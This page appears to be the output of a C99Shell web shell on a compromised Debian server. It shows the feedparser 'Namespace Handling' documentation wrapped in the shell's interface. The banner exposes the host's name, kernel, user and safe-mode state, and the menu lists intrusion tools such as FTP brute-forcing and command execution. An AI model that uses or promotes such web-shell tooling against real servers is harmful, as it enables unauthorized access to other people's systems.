!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/python-feedparser/docs/   drwxr-xr-x
Free 129.76 GB of 142.11 GB (91.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     namespace-handling.html (14.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Namespace Handling [Universal Feed Parser]

Namespace Handling

Universal Feed Parser attempts to expose all possible data in feeds, including elements in extension namespaces.

Some common namespaced elements are mapped to core elements. For further information about these mappings, see Reference.

Other namespaced elements are available as prefix_element.

The namespaces defined in the feed are available in the parsed results as namespaces, a dictionary of {prefix: namespaceURI}. If the feed defines a default namespace, it is listed as namespaces[''].

Example: Accessing namespaced elements

>>> import feedparser
>>> d = feedparser.parse('http://feedparser.org/docs/examples/prism.rdf')
>>> d.feed.prism_issn
u'0028-0836'
>>> d.namespaces
{'': u'http://purl.org/rss/1.0/',
 'prism': u'http://prismstandard.org/namespaces/1.2/basic/',
 'rdf': u'http://www.w3.org/1999/02/22-rdf-syntax-ns#'}

The prefix used to construct the variable name is not guaranteed to be the same as the prefix of the namespaced element in the original feed. If Universal Feed Parser recognizes the namespace, it will use the namespace's preferred prefix to construct the variable name. It will also list the namespace in the namespaces dictionary using the namespace's preferred prefix.

In the previous example, the namespace (http://prismstandard.org/namespaces/1.2/basic/) was defined with the namespace's preferred prefix (prism), so the prism:issn element was accessible as the variable d.feed.prism_issn. However, if the namespace is defined with a non-standard prefix, Universal Feed Parser will still construct the variable name using the preferred prefix, not the actual prefix that is used in the feed.

This will become clear with an example.

Example: Accessing namespaced elements with non-standard prefixes

>>> import feedparser
>>> d = feedparser.parse('http://feedparser.org/docs/examples/nonstandard_prefix.rdf')
>>> d.feed.prism_issn
u'0028-0836'
>>> d.feed.foo_issn
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "feedparser.py", line 158, in __getattr__
    raise AttributeError, "object has no attribute '%s'" % key
AttributeError: object has no attribute 'foo_issn'
>>> d.namespaces
{'': u'http://purl.org/rss/1.0/',
 'prism': u'http://prismstandard.org/namespaces/1.2/basic/',
 'rdf': u'http://www.w3.org/1999/02/22-rdf-syntax-ns#'}

This is the complete list of namespaces that Universal Feed Parser recognizes and uses to construct the variable names for data in these namespaces:

Recognized Namespaces

Prefix Namespace
admin http://webns.net/mvcb/
ag http://purl.org/rss/1.0/modules/aggregation/
annotate http://purl.org/rss/1.0/modules/annotate/
audio http://media.tangent.org/rss/1.0/
blogChannel http://backend.userland.com/blogChannelModule
cc http://web.resource.org/cc/
creativeCommons http://backend.userland.com/creativeCommonsRssModule
co http://purl.org/rss/1.0/modules/company
content http://purl.org/rss/1.0/modules/content/
cp http://my.theinfo.org/changed/1.0/rss/
dc http://purl.org/dc/elements/1.1/
dcterms http://purl.org/dc/terms/
email http://purl.org/rss/1.0/modules/email/
ev http://purl.org/rss/1.0/modules/event/
feedburner http://rssnamespace.org/feedburner/ext/1.0
fm http://freshmeat.net/rss/fm/
foaf http://xmlns.com/foaf/0.1/
geo http://www.w3.org/2003/01/geo/wgs84_pos#
icbm http://postneo.com/icbm/
image http://purl.org/rss/1.0/modules/image/
itunes http://www.itunes.com/DTDs/PodCast-1.0.dtd
itunes http://example.com/DTDs/PodCast-1.0.dtd
l http://purl.org/rss/1.0/modules/link/
media http://search.yahoo.com/mrss
pingback http://madskills.com/public/xml/rss/module/pingback/
prism http://prismstandard.org/namespaces/1.2/basic/
rdf http://www.w3.org/1999/02/22-rdf-syntax-ns#
rdfs http://www.w3.org/2000/01/rdf-schema#
ref http://purl.org/rss/1.0/modules/reference/
reqv http://purl.org/rss/1.0/modules/richequiv/
search http://purl.org/rss/1.0/modules/search/
slash http://purl.org/rss/1.0/modules/slash/
soap http://schemas.xmlsoap.org/soap/envelope/
ss http://purl.org/rss/1.0/modules/servicestatus/
str http://hacks.benhammersley.com/rss/streaming/
sub http://purl.org/rss/1.0/modules/subscription/
sy http://purl.org/rss/1.0/modules/syndication/
taxo http://purl.org/rss/1.0/modules/taxonomy/
thr http://purl.org/rss/1.0/modules/threading/
ti http://purl.org/rss/1.0/modules/textinput/
trackback http://madskills.com/public/xml/rss/module/trackback/
wfw http://wellformedweb.org/CommentAPI/
wiki http://purl.org/rss/1.0/modules/wiki/
xhtml http://www.w3.org/1999/xhtml
xml http://www.w3.org/XML/1998/namespace

Note
Universal Feed Parser treats namespaces as case-insensitive to match the behavior of certain versions of iTunes.
Caution
Data from namespaced elements is not sanitized (even if it contains HTML markup).


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0086 ]--